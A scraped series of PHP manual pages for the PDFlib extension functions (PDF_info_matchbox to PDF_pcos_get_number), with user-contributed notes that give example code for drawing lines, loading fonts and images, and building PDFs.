float PDF_info_matchbox ( resource $pdfdoc , string $boxname , int $num , string $keyword )

Queries information about a matchbox on the current page.

User Contributed Notes

There are no user contributed notes for this page.
PDF_info_font
PDF_info_table
PDF Functions


Retrieve table information

PDF_info_matchbox
PDF_info_textflow
PDF Functions
PHP Manual

PDF_info_table

(PECL pdflib >= 2.1.0)

PDF_info_table — Retrieve table information

Description

float PDF_info_table ( resource $pdfdoc , int $table , string $keyword )

Retrieves table information related to the most recently placed table instance.

User Contributed Notes

There are no user contributed notes for this page.
PDF_info_matchbox
PDF_info_textflow
PDF Functions


Query textflow state

PDF_info_table
PDF_info_textline
PDF Functions
PHP Manual

PDF_info_textflow

(PECL pdflib >= 2.0.0)

PDF_info_textflow — Query textflow state

Description

float PDF_info_textflow ( resource $pdfdoc , int $textflow , string $keyword )

Queries the current state of a textflow.

User Contributed Notes

There are no user contributed notes for this page.
PDF_info_table
PDF_info_textline
PDF Functions


Perform textline formatting and query metrics

PDF_info_textflow
PDF_initgraphics
PDF Functions
PHP Manual

PDF_info_textline

(PECL pdflib >= 2.1.0)

PDF_info_textline — Perform textline formatting and query metrics

Description

float PDF_info_textline ( resource $pdfdoc , string $text , string $keyword , string $optlist )

Performs textline formatting and queries the resulting metrics.

User Contributed Notes

nico 16-Jul-2009 04:18
You can use PDF_info_textline to center some text in the page.

Here's a little function

<?php
// Parameters:
// $p -> the PDF handle
// $text -> the text to center
// $posy -> the vertical position of the text
// $pageWidth -> the width of the page, defaults to 595 (A4)
function center_text($p, $text, $posy, $pageWidth=595)
    {
    $width = PDF_info_textline($p, $text, 'width', '');
    PDF_fit_textline($p, $text, ($pageWidth-$width)/2, $posy, '');
}
?>
PDF_info_textflow
PDF_initgraphics
PDF Functions


Reset graphic state

PDF_info_textline
PDF_lineto
PDF Functions
PHP Manual

PDF_initgraphics

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_initgraphics — Reset graphic state

Description

bool PDF_initgraphics ( resource $p )

Reset all color and graphics state parameters to their defaults. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_info_textline
PDF_lineto
PDF Functions


Draw a line

PDF_initgraphics
PDF_load_3ddata
PDF Functions
PHP Manual

PDF_lineto

(PHP 4, PECL pdflib >= 1.0.0)

PDF_lineto — Draw a line

Description

bool PDF_lineto ( resource $p , float $x , float $y )

Draws a line from the current point to another point. Returns TRUE on success or FALSE on failure.

User Contributed Notes

rod-php at thecomplex dot com 01-Oct-2002 10:32
function pdf_arrow ($pdfobj, $x1, $y1, $x2, $y2, $dashed) {
// This function will draw, stroke, and fill a line
// from (x1,y1) to (x2,y2) with an arrowhead defined
// by $headangle (in degrees) and $arrowlength.
// If $dashed is nonzero, a dashed line is drawn.
// REQUIRES: find_angle
        $headangle = 20;
        $arrowlength = 20;

        list ($angle, $slope) = find_angle($x1, $y1, $x2, $y2);

        pdf_moveto($pdfobj, $x2, $y2);

        // Find the two other points of the arrowhead
        // using $headangle and $arrowlength.
        $xarrow1 = $x2+cos(deg2rad(180+$angle+$headangle/2))*$arrowlength;
        $yarrow1 = $y2+sin(deg2rad(180+$angle+$headangle/2))*$arrowlength;
        $xarrow2 = $x2+cos(deg2rad(180+$angle-$headangle/2))*$arrowlength;
        $yarrow2 = $y2+sin(deg2rad(180+$angle-$headangle/2))*$arrowlength;
        // Draw two legs of the arrowhead, close and fill
        pdf_lineto($pdfobj, $xarrow1, $yarrow1);
        pdf_lineto($pdfobj, $xarrow2, $yarrow2);
        pdf_closepath($pdfobj);
        pdf_fill($pdfobj);

        // Find the point bisecting the short side
        // of the arrowhead. This is necessary so
        // the end of the line doesn't poke out the
        // beyond the arrow point.
        $x2line = ($xarrow1+$xarrow2)/2;
        $y2line = ($yarrow1+$yarrow2)/2;

        // Now draw the "body" line of the arrow
        if ($dashed != 0) {
                pdf_setdash($pdfobj,5,5);
        }
        pdf_moveto($pdfobj, $x1, $y1);
        pdf_lineto($pdfobj, $x2line, $y2line);
        pdf_stroke($pdfobj);
}
rod-php at thecomplex dot com 01-Oct-2002 10:20
function find_angle ($x1, $y1, $x2, $y2) {
// This function takes two points (x1,y1) and (x2,y2)
// as inputs and finds the slope and angle of a line
// between those two points.  It returns the angle
// and slope in an array. I can't figure out how to
// return a NULL value, so if the two input points
// are in a vertical line, the function returns
// $angle = 90 and $slope = 0. I know this is wrong.
        if (($x2-$x1) != 0) {
                $slope = ($y2-$y1)/($x2-$x1);
                // Get rotation angle by finding the arctangent of the slope
                $angle = rad2deg(atan($slope));
                if ($x1 > $x2) {
                        $angle = 180+$angle;
                } elseif ($y1 > $y2) {
                        $angle = 360+$angle;
                }
        } else {
                // Vertical line has no slope, 90deg angle
                $angle = 90;
#               unset ($slope);
                $slope = 0;
        }
        return array ($angle, $slope);
}
rod-php at thecomplex dot com 01-Oct-2002 10:18
function find_length ($x1, $y1, $x2, $y2) {
// Find distance between two points (x1,y1) and (x2,y2)
// Also useful to find length of a line.
        return sqrt( pow($x2-$x1,2) + pow($y2-$y1,2) );
}
PDF_initgraphics
PDF_load_3ddata
PDF Functions


Load 3D model

PDF_lineto
PDF_load_font
PDF Functions
PHP Manual

PDF_load_3ddata

(PECL pdflib >= 2.1.0)

PDF_load_3ddata — Load 3D model

Description

int PDF_load_3ddata ( resource $pdfdoc , string $filename , string $optlist )

Loads a 3D model from a disk-based or virtual file.

This function requires PDF 1.6.

User Contributed Notes

There are no user contributed notes for this page.
PDF_lineto
PDF_load_font
PDF Functions


Search and prepare font

PDF_load_3ddata
PDF_load_iccprofile
PDF Functions
PHP Manual

PDF_load_font

(PECL pdflib >= 2.0.0)

PDF_load_font — Search and prepare font

Description

int PDF_load_font ( resource $pdfdoc , string $fontname , string $encoding , string $optlist )

Searches for a font and prepares it for later use.

User Contributed Notes

james dot ferguson at doesnt dot share dot email dot com 19-Feb-2008 02:47
Actually the full optlist is:

autosubsetting boolean (Default: global parameter)
autocidfont boolean (Default: global parameter)
embedding boolean (Default: false)
fontstyle keyword (Possible keywords are normal, bold, italic, bolditalic. Default: normal)
fontwarning boolean (true - exception,  false - error code Default: global parameter)
kerning boolean (Default: false)
monospace integer (Default: absent (metrics from the font will be used))
subsetlimit float (Default: global parameter)
subsetminsize float (Default: global parameter)
subsetting boolean (Default:false)
unicodemap boolean (Default: true)

See the manual at:
http://www.pdflib.com/developer/technical-documentation/manuals/
james dot ferguson at doesnt dot share dot email dot com 19-Feb-2008 02:23
In PDFLib 5 'optlist' allows the following possible settings:

embedding=true
subsetting=true
subsetlimit=50
kerning=false
seufert at gmail dot com 31-Jul-2006 06:43
This function is used to load a font into memory for later use with PDF_setfont()

This function is the replacement for the depracated PDF_find_font()

And also here is the 'core font' list, for PDF files, these do not need to be embeded:
- Courier
- Courier-Bold
- Courier-Oblique
- Courier-BoldOblique
- Helvetica
- Helvetica-Bold
- Helvetica-Oblique
- Helvetica-BoldOblique
- Times-Roman
- Times-Bold
- Times-Italic
- Times-BoldItalic
- Symbol
- ZapfDingbats

And with encodings i have found its best to use iso8859-1 for english with a $ for currency.
PDF_load_3ddata
PDF_load_iccprofile
PDF Functions


Search and prepare ICC profile

PDF_load_font
PDF_load_image
PDF Functions
PHP Manual

PDF_load_iccprofile

(PECL pdflib >= 2.0.0)

PDF_load_iccprofile — Search and prepare ICC profile

Description

int PDF_load_iccprofile ( resource $pdfdoc , string $profilename , string $optlist )

Searches for an ICC profile, and prepares it for later use.

User Contributed Notes

There are no user contributed notes for this page.
PDF_load_font
PDF_load_image
PDF Functions


Open image file

PDF_load_iccprofile
PDF_makespotcolor
PDF Functions
PHP Manual

PDF_load_image

(PECL pdflib >= 2.0.0)

PDF_load_image — Open image file

Description

int PDF_load_image ( resource $pdfdoc , string $imagetype , string $filename , string $optlist )

Opens a disk-based or virtual image file subject to various options.

User Contributed Notes

klassen dot tony at gmail dot com 12-Mar-2007 06:27
I've had a difficult time trying to load images to the pdf with pdflib, and tried many examples. I came across this one and it actually works for me in IE and Firefox. I hope this can be of some help to someone.

<?php
    $searchpath = "path/to/image/dir";

    $p = new PDFlib();
    $p->set_parameter("errorpolicy", "return"); // check return values of load_font() etc.
    $p->set_parameter("hypertextencoding", "winansi"); // used to prevent problems with japanese systems
    $p->set_parameter("SearchPath", $searchpath); // **set search path parameter in pdf
    if ($p->begin_document("", "") == 0) {
       die("Error: " . $p->get_errmsg());
   }
   $p->set_info("Creator", " the creator");
   $p->set_info("Author", " you ");
   $p->set_info("Title", " imageInsert ");
   $p->begin_page_ext(612, 792, "");  // declare page with standard letter size

    $certLogo = "stamp.jpg";  // your image name

    $image = $p->load_image("auto", $certLogo, "");
    if (!$image) {    die("Error: " . $p->get_errmsg());    }

    $p->fit_image($image, 390,575, ""); //place image within page coordinates
    $p->close_image($image);            // close resource
    $p->end_page_ext("");

   $p->end_document("");

   $data = $p->get_buffer();
   $len = strlen($data);

   header("Content-type: application/pdf");
   header("Content-Length: $len");
   header("Content-Disposition: inline; filename=hello.pdf");
   print $data;

   $p = 0;
?>
Mike Zmuda 11-May-2006 06:40
This program takes a picture from a dynamic image selector (ie: banner ad selector software, or whatever,) and inserts it into your pdf.

You can use something like this to insert coupons on PDFs (such as register receipts, bills, receipts, etc...) just like they do at the supermarket checkout!

<?php
//Set up a document (PHP5 standard.)
$p = new PDFlib();
if ($p->begin_document("", "") == 0) {
     die("Error: " . $p->get_errmsg());
}
$p->set_info("Creator", "Homer");
$p->set_info("Author", "Lisa");
$p->set_info("Title", "Simpsons Image");
$p->begin_page_ext(612, 792, ""); // This is letter.

//Open the url for the image server we wish to use.
//     (When I say "Image Server," I mean any program or
//     script which will render image data as output. That
//     means that it has to output the raw data, unmodified,
//     such that it could be accessed like this in a standard
//     html instruction call:
//
//        <img src="http://site.com/getimg.php?pic=18">
//
//     If it adds border or other text, the data will be
//     corrupted, and thus cause the pdf to misrender.
if ($stream = fopen('http://site.com/getimg.php?pic=18', 'r')) {
   $MyImage= stream_get_contents($stream, -1);
   fclose($stream);
}

//First, create a PDF Virtual File (PVF) out of our data...
$pvf_filename = "/pvf/image/image1.jpg";
//and store the $MyImage data (picture data from above)
//    in it!
$p->create_pvf($pvf_filename,$MyImage, "");
//Load the image from the PVF into, er, uh, ram..., and, uh...
$image = $p->load_image("jpeg", $pvf_filename,"");
//Put it on the screen! :)
$p->fit_image($image, 100,500,"boxsize {100 100} position 50 fitmethod meet");
//Be cool and clean up after yourself...
$p->delete_pvf($pvf_filename);

//And... Render!
$p->end_page_ext("");
$p->end_document("");
$buf = $p->get_buffer();
$len = strlen($buf);
header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=urlImageTest.pdf");
print $buf;
?>
Nicolas Padfield nicolasatpadfielddotdk 10-Mar-2006 04:34
Example use of  PDF_load_image():

<?php
$pdf = PDF_new();
PDF_open_file($pdf,'');
PDF_begin_page($pdf,595,842);
$image = PDF_load_image($pdf,"png","myimage.png","");
PDF_place_image($pdf,$image,64,26,.24);
?>

If you want something that is more free for commercial use, open source and does not require compiling, you could look at for example http://www.fpdf.org in stead of PDFlib
PDF_load_iccprofile
PDF_makespotcolor
PDF Functions


Make spot color

PDF_load_image
PDF_moveto
PDF Functions
PHP Manual

PDF_makespotcolor

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_makespotcolor — Make spot color

Description

int PDF_makespotcolor ( resource $p , string $spotname )

Finds a built-in spot color name, or makes a named spot color from the current fill color. Returns TRUE on success or FALSE on failure.

User Contributed Notes

karaya at karaya dot cz 07-Apr-2004 03:40
Pantone and HKS spot colors - it's not supported in free version PDFLib Lite
PDF_load_image
PDF_moveto
PDF Functions


Set current point

PDF_makespotcolor
PDF_new
PDF Functions
PHP Manual

PDF_moveto

(PHP 4, PECL pdflib >= 1.0.0)

PDF_moveto — Set current point

Description

bool PDF_moveto ( resource $p , float $x , float $y )

Sets the current point for graphics output. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_makespotcolor
PDF_new
PDF Functions


Create PDFlib object

PDF_moveto
PDF_open_ccitt
PDF Functions
PHP Manual

PDF_new

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_new — Create PDFlib object

Description

resource PDF_new ( void )

Creates a new PDFlib object with default settings.

User Contributed Notes

Justin 09-Nov-2008 12:36
<?php
// create handle for new PDF document
$pdf = pdf_new();
// open a file
pdf_open_file($pdf, "test.pdf");
// start a new page (A4)
pdf_begin_page($pdf, 595, 842);
// get and use a font object
$arial = pdf_findfont($pdf, "Arial", "host", 1); pdf_setfont($pdf, $arial, 10);
// print text
pdf_show_xy($pdf, "There are more things in heaven and earth, Horatio,",50, 750);
pdf_show_xy($pdf, "than are dreamt of in your philosophy", 50,730);
// end page
pdf_end_page($pdf);
// close and save file
pdf_close($pdf);
?>
PDF_moveto
PDF_open_ccitt
PDF Functions


Open raw CCITT image [deprecated]

PDF_new
PDF_open_file
PDF Functions
PHP Manual

PDF_open_ccitt

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_open_ccitt — Open raw CCITT image [deprecated]

Description

int PDF_open_ccitt ( resource $pdfdoc , string $filename , int $width , int $height , int $BitReverse , int $k , int $Blackls1 )

Opens a raw CCITT image.

This function is deprecated since PDFlib version 5, use PDF_load_image() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_new
PDF_open_file
PDF Functions


Create PDF file [deprecated]

PDF_open_ccitt
PDF_open_gif
PDF Functions
PHP Manual

PDF_open_file

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_open_file — Create PDF file [deprecated]

Description

bool PDF_open_file ( resource $p , string $filename )

Creates a new PDF file using the supplied file name. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use PDF_begin_document() instead.

User Contributed Notes

phpnet021221 A~T netized D~O~T com 23-Apr-2007 10:21
FYI: the reason you had to add the double slashes was due to the fact that your string was contained within double quotes rather than single quotes.

See: http://ca3.php.net/manual/en/language.types.string.php
Button dot Man at gmail dot com 10-Aug-2005 09:39
"Fatal error: PDFlib error: [2100] PDF_begin_page: Function must not be called in 'object' scope"

I found a solution for this fault:
when i got the fault, this was the script ->

<?php

$pdf = pdf_new();

pdf_open_file($pdf, "C:\web\pdf\test45.pdf");
pdf_begin_page($pdf, 595, 842);
pdf_set_font($pdf, "Times-Roman", 30, "host");
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, "A PDF document is created!", 50, 750);
pdf_end_page($pdf);
pdf_close($pdf);

?>

but when i added some slashes to the path:

<?php

$pdf = pdf_new();

pdf_open_file($pdf, "C:\\web\\pdf\\test45.pdf");
pdf_begin_page($pdf, 595, 842);
pdf_set_font($pdf, "Times-Roman", 30, "host");
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, "A PDF document is created!", 50, 750);
pdf_end_page($pdf);
pdf_close($pdf);

?>

there wasn't no fault anymore and the pdf-file was succesfully created

I think you guys get the point ( add 2 slashes )

Glenn
21-Jun-2005 09:13
"Fatal error: PDFlib error: [2100] PDF_begin_page: Function must not be called in 'object' scope.."

If you get this error then you probably forgot to call pdf_open_file() or pdf_open_file() failed.
php at mijav dot dk 11-Apr-2005 05:35
The example uses pdf_set_font, but that function is deprecated. Instead use pdf_setfont (without the underscore).
alfred dot zingg at freesurf dot ch at example dot com 16-Dec-2004 07:33
...
$fd = fopen("download/liste.pdf", "w");
$pdfdoc = pdf_open($fd);
pdf_begin_page($pdfdoc, 595, 842);
pdf_set_font($pdfdoc, "Helvetica", 20, "host", 1);
pdf_set_text_pos($pdfdoc, 50, 795);
pdf_show($pdfdoc, "Liste");
...
does not work under PHP5, use
...
$fd = fopen("download/liste.pdf", "w");
$pdfdoc = pdf_new();
pdf_open_file($pdfdoc, "download/liste.pdf");
pdf_begin_page($pdfdoc, 595.3, 841.8);
$font = pdf_findfont($pdfdoc, "Helvetica", "winansi", 0);
pdf_set_font($pdfdoc, $font, 20);
pdf_set_text_pos($pdfdoc, 50, 795);
pdf_show($pdfdoc, "Liste");
...
18-Oct-2004 05:55
After some troubles I found filename must be absolute path  here in windows; relative path doesn't work in my box.
php 4.3.5-dev
RandyAtHorktDotCom 28-Oct-2002 04:19
It is possible to append pdfs to each other, however it requires the commercial version of PDFlib with PDI support (http://www.pdflib.com)

I've used it quite a bit and is well worth the price they are asking for.
jon at logicworks dot cc 24-Oct-2002 11:48
When creating a pdf in memory, it appears that the code is executed twice. This does not seem to happen when creating a pdf as file. Not a problem when outputing a pdf, but does cause a problem if doing other writes in the same code:

// the write to the file is executed twice
$fp = fopen("testfile.htm", "a");
fwrite($fp, "testline/") ;
fclose($fp);
//--------------

$pdf = pdf_new();

if (!pdf_open_file($pdf, "")) {
    print error;
    exit;
};

pdf_begin_page($pdf, 8.5*72, 11*72);
pdf_set_font($pdf, "Helvetica-Bold", 24, "host");
pdf_set_text_pos($pdf, 50, 700);
pdf_show($pdf,"Hello,world!");
pdf_end_page($pdf);
pdf_close($pdf);

$buf = pdf_get_buffer($pdf);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=foo.pdf");
print $buf;
gbl at bso2001 dot com 19-Feb-2002 11:30
Appending to PDF files: plainly, you can't. PDF files have an internal structure that would get corrupted by just appending to the file. You'd need to parse the PDF, create a new PDF and mix your additions with the old PDF. Just creating a new one should be *much* easier.

Reading back the results: do a fopen() on the temporary file and use fgets() to read it. In your example where you just want to output the file, passthru should do the trick.
nils at deviant dot no 16-Jan-2002 04:47
If you get "Fatal error: PDFlib error: function 'PDF_set_info' must not be called in 'object' scope in script.php on line xxx" when using pdf_open_file with a filename, make sure your webserver has write permissions to the directory your are trying to save your PDF file to.
PDF_open_ccitt
PDF_open_gif
PDF Functions


Open GIF image [deprecated]

PDF_open_file
PDF_open_image_file
PDF Functions
PHP Manual

PDF_open_gif

(PHP 4, PECL pdflib >= 1.0.0)

PDF_open_gif — Open GIF image [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_load_image() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_open_file
PDF_open_image_file
PDF Functions


Read image from file [deprecated]

PDF_open_gif
PDF_open_image
PDF Functions
PHP Manual

PDF_open_image_file

(PHP 4, PECL pdflib >= 1.0.0)

PDF_open_image_file — Read image from file [deprecated]

Description

int PDF_open_image_file ( resource $p , string $imagetype , string $filename , string $stringparam , int $intparam )

Opens an image file.

This function is deprecated since PDFlib version 5, use PDF_load_image() with the colorize, ignoremask, invert, mask, masked, and page options instead.

User Contributed Notes

John Middleton 13-Mar-2007 05:07
This short script will create a scaled PDF from a multi-page tiff file (tested and implemented in PHP 5):

<?php
   // Declare pdf File
   $pdf = pdf_new();
   pdf_open_file($pdf, "test.pdf");

   // Convert and add pages until you reach end of the tiff
   for($page = 1; $image = @pdf_open_image_file($pdf, "tiff", "test.tif", "page", $page); $page++)
   {
      // Set page scale to 72 dpi using the width of the image (72 * 8.5 inches = 612 dpi)
      $scale = 612 / pdf_get_value($pdf, "imagewidth", $image);

      // Create a new page using the scaled height and width of the image
      pdf_begin_page($pdf, $scale * pdf_get_value($pdf, "imagewidth", $image), $scale * pdf_get_value($pdf, "imageheight", $image));

      // Place the scaled image in the top left corner of the page and end this page of the pdf
      pdf_place_image($pdf, $image, 0, 0, $scale);
      pdf_end_page($pdf);
   }

   // Finish the pdf File
   pdf_close($pdf);
?>

Please note that this script disregards whether the height of the image is unable to scale comparably to an 8.5x11 inch document.  Depending on the images you are working with, you may want to add some logic to set your scale value based on the true height and width of the image.
Max / Poland 01-Oct-2005 03:58
another example : PHP 5 & PDFLIB 6.0.2
<?
$pdf = pdf_new();

 if (pdf_begin_document($pdf,"", "") == 0)
    {die("Error: " . pdf_get_errmsg());}

   pdf_set_parameter($pdf, "SearchPath", "./");
   pdf_set_parameter($pdf, "hypertextencoding", "winansi");
   pdf_set_parameter($pdf, "imagewarning", "false");
   pdf_set_info($pdf, "Creator", "some INformations");
   pdf_set_info($pdf, "Author", "author");
   pdf_set_info($pdf, "Title", "Raport");

$logo = pdf_open_image_file($pdf, "jpeg", "foto.jpg", "", 0);

pdf_begin_page($pdf, 595, 842);
pdf_place_image($pdf, $logo, 28, 324, 0.125);
pdf_close_image($pdf, $logo);
pdf_end_page($pdf);
pdf_close($pdf);

  $buf = pdf_get_buffer($pdf);
  $len = strlen($buf);
  header("Content-type: application/pdf");
  header("Content-Length: $len");
  header("Content-Disposition: attachment; filename=raport.pdf");
  echo $buf;

?>
ws at esc-ag dot de 07-Apr-2005 03:25
when using pdf_open_image_file() with multipage tiffs in php 5.x.x I had to use the following

$pdf = pdf_new();
pdf_open_file($pdf, "test.pdf");
$file = "mutlipg.tif";

// Important to switch off the exceptions
pdf_set_parameter($pdf, "imagewarning", "false");

for($i=1; ; $i++)
{
    $image=@pdf_open_image_file($pdf, "tiff", $file, "page", $i);
    if($image != 0)
    {
        $w = pdf_get_value($pdf, "imagewidth", $image);
        $h = pdf_get_value($pdf, "imageheight", $image);

    // use only half of the size
        pdf_begin_page($pdf, $w/2, $h/2);
        pdf_place_image($pdf, $image, 0, 0, 0.5);
        pdf_close_image($pdf, $image);
        pdf_end_page($pdf);
    }
    else
        break;
}
// Send the pdf to the Browser
pdf_close($pdf);
$fp = fopen("test.pdf", "r");
header("Content-type: application/pdf");
fpassthru($fp);
fclose($fp);
alfred dot zingg at freesurf dot ch 16-Dec-2004 07:27
...
$logo = pdf_open_image_file($pdf, "jpeg", "logo.jpg");
pdf_place_image($pdf, $logo, 28, 324, 0.125);
pdf_close_im($pdf, $logo);
...
does not work under PHP5, use
...
$logo = pdf_open_image_file($pdf, "jpeg", "logo.jpg", "", 0);
pdf_place_image($pdf, $logo, 28, 324, 0.125);
pdf_close_im($pdf, $logo);
...
j tse 05-Jun-2003 06:22
If the image file is sitting at somewhere (outside the subdirectory), an absolute path must be given instead.
darren at zoe dot co dot nz dot deleteme 16-Dec-2001 09:51
when using pdf_open_image_file() with multipage tiffs, the example in the manual won't work (i don't think the function returns -1 like it says)
you can use this instead;

   for ($page=1; ; $page++)
    {
      // our image
$image=pdf_open_image_file($pdf,"tiff",$file,"page",$page);
      // a bad image - page cannot be 0
$bad=pdf_open_image_file($pdf,"tiff",$file,"page",0);<br>
      if ($image == $bad)
    {
      // done adding pages
      break;
    }
      pdf_begin_page($pdf,$width,$height);
      pdf_place_image($pdf,$image,0,0,1);
      pdf_close_image($pdf,$image);
      pdf_end_page($pdf);
    }
bob at nijman dot de 02-Aug-2001 05:44
Try this.
(don't forget to put a "test.jpg" in the same dir)

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","www.nijman.de");
pdf_set_info($pdf, "Creator", "bob@nijman.de");
pdf_set_info($pdf, "Subject", "pdf_open_image_file");
pdf_begin_page($pdf, 200, 200);

$pdfimage = pdf_open_image_file($pdf, "jpeg", "test.jpg");
pdf_place_image($pdf, $pdfimage, 10, 10, 0.6);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=image.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>
PDF_open_gif
PDF_open_image
PDF Functions


Use image data [deprecated]

PDF_open_image_file
PDF_open_jpeg
PDF Functions
PHP Manual

PDF_open_image

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_open_image — Use image data [deprecated]

Description

int PDF_open_image ( resource $p , string $imagetype , string $source , string $data , int $length , int $width , int $height , int $components , int $bpc , string $params )

Uses image data from a variety of data sources.

This function is deprecated since PDFlib version 5, use virtual files and PDF_load_image() instead.

User Contributed Notes

K 23-Apr-2003 05:36
Ok, according to the PDFlib docs,

bpc - only for imagetype raw (required in this case).  The number of bits per component.  Must be 1,2,4 or 8

components - only for imagetype raw (required in this case). The number of image components.  Must be 1, 3 or 4.

Read the docs (page 171) for a full list of params I assume are used for the last argument.
tfraser at jeffsys dot net 05-Mar-2003 01:41
If you want to open a TIFF image, you have to use pdf_open_image_file().  If you want to open a TIFF image from memory, you'll have to wait until version 5.  I gleaned this from the PDFlib folks themselves:

> from rp@pdflib.com
The only way to open TIFF with PDFlib 4 is to open it from
file. But in PDFlib 5 (http://www.pdflib.com/beta/) we add
a virtual file system, so you can easy open a file from
memory.
lindsayNOSPAM at NOSPAMdingos dot net 19-Dec-2002 06:42
if you ahve pdflib v4 or higher, you may also use TIFF images, by specifying 'tiff'  in the image type.

checked the pdflib documentation, tried it out, it works.
nils at deviant dot no 16-Jan-2002 05:00
a quick example:

$pdfimage = pdf_open_image_file($pdf, "jpeg", "test.jpg");
pdf_place_image($pdf, $pdfimage, 10, 10, 0.6);

...
pdf_close etc..
bob at nijman dot de 02-Aug-2001 08:05
mark troyan wrote:

> Can you use the PDF_open_image to handle gif's? How?

and Thomas Merz answered:

Nope. Unfortunately PDF supports _nearly_ everything needed
to decode GIFs internally (as with JPEG), but some minor
feature is missing. It seems Adobe also realized this --
they added the missing link in PostScript 3, so chances are
it will appear in PDF 1.4 or something...

Since the PDF_open_image() interface is meant for dumping
the image data to the PDF without any further interpretation,
it can't support GIF.

Found at:
http://groups.yahoo.com/group/pdflib/message/301
bob at nijman dot de 02-Aug-2001 05:54
For good and easy to understand examples on images in PDFs go to

http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=13

(It's in german, but the sources alone will be a great help and inspiration :-))
PDF_open_image_file
PDF_open_jpeg
PDF Functions


Open JPEG image [deprecated]

PDF_open_image
PDF_open_memory_image
PDF Functions
PHP Manual

PDF_open_jpeg

(PHP 4, PECL pdflib >= 1.0.0)

PDF_open_jpeg — Open JPEG image [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_load_image() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_open_image
PDF_open_memory_image
PDF Functions


Open image created with PHP's image functions [not supported]

PDF_open_jpeg
PDF_open_pdi_document
PDF Functions
PHP Manual

PDF_open_memory_image

(PHP 4, PECL pdflib >= 1.0.0)

PDF_open_memory_image — Open image created with PHP's image functions [not supported]

Description

int PDF_open_memory_image ( resource $p , resource $image )

This function is not supported by PDFlib GmbH.

User Contributed Notes

leela at leela dot ws 19-Nov-2002 10:36
note that in PHP 4.2.2 and PDF_lib 4.0.1 this function does not support more than 256 colors (only GD 1.x it seems).

WORKS:
$im = ImageCreate(100, 100);
$pim = pdf_open_memory_image($pdf, $im);

DOES NOT WORK:
$im = ImageCreateTrueColor(100, 100);
$pim = pdf_open_memory_image($pdf, $im);

DOES NOT WORK:
$im = ImageCreateFromJPEG("file.jpg");
$pim = pdf_open_memory_image($pdf, $im);
PDF_open_jpeg
PDF_open_pdi_document
PDF Functions


Prepare a pdi document

PDF_open_memory_image
PDF_open_pdi_page
PDF Functions
PHP Manual

PDF_open_pdi_document

(PECL pdflib >= 2.1.0)

PDF_open_pdi_document — Prepare a pdi document

Description

int PDF_open_pdi_document ( resource $p , string $filename , string $optlist )

Open a disk-based or virtual PDF document and prepare it for later use.

User Contributed Notes

There are no user contributed notes for this page.
PDF_open_memory_image
PDF_open_pdi_page
PDF Functions


Prepare a page

PDF_open_pdi_document
PDF_open_pdi
PDF Functions
PHP Manual

PDF_open_pdi_page

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_open_pdi_page — Prepare a page

Description

int PDF_open_pdi_page ( resource $p , int $doc , int $pagenumber , string $optlist )

Prepares a page for later use with PDF_fit_pdi_page().

User Contributed Notes

There are no user contributed notes for this page.
PDF_open_pdi_document
PDF_open_pdi
PDF Functions


Open PDF file [deprecated]

PDF_open_pdi_page
PDF_open_tiff
PDF Functions
PHP Manual

PDF_open_pdi

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_open_pdi — Open PDF file [deprecated]

Description

int PDF_open_pdi ( resource $pdfdoc , string $filename , string $optlist , int $len )

Opens a disk-based or virtual PDF document and prepares it for later use.

This function is deprecated since PDFlib version 7, use PDF_open_pdi_document() instead.

User Contributed Notes

ytsedan 28-Mar-2006 12:33
From PDFLib's manual:

"When the optional PDI (PDF import) library is attached to PDFlib, pages from existing PDF documents can be imported. PDI contains a parser for the PDF file format, and prepares pages from existing PDF documents for easy use with PDFlib.

Conceptually, imported PDF pages are treated similarly to imported raster images such as TIFF or PNG: you open a PDF document, choose a page to import, and place it on an output page, applying any of PDFlib’s transformation functions for translating, scaling, rotating, or skewing the imported page."

The manual can be downloaded along with PDFLib at http://www.pdflib.com/products/pdflib/download/index.html
m_schieferdecker at hotmail dot com 01-Mar-2004 09:48
The function returns the intval -1 on failure.
tylerrayner at netscape dot net 28-May-2002 09:45
The "stringparam" and "intparam" here are reserved for later use, and must be NULL and 0, respectively.
PDF_open_pdi_page
PDF_open_tiff
PDF Functions


Open TIFF image [deprecated]

PDF_open_pdi
PDF_pcos_get_number
PDF Functions
PHP Manual

PDF_open_tiff

(PHP 4, PECL pdflib >= 1.0.0)

PDF_open_tiff — Open TIFF image [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_load_image() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_open_pdi
PDF_pcos_get_number
PDF Functions


Get value of pCOS path with type number or boolean

PDF_open_tiff
PDF_pcos_get_stream
PDF Functions
PHP Manual

PDF_pcos_get_number

(PECL pdflib >= 2.1.0)

PDF_pcos_get_number — Get value of pCOS path with type number or boolean

Description

float PDF_pcos_get_number ( resource $p , int $doc , string $path )

Gets the value of a pCOS path with type number or boolean.

User Contributed Notes

There are no user contributed notes for this page.
PDF_open_tiff
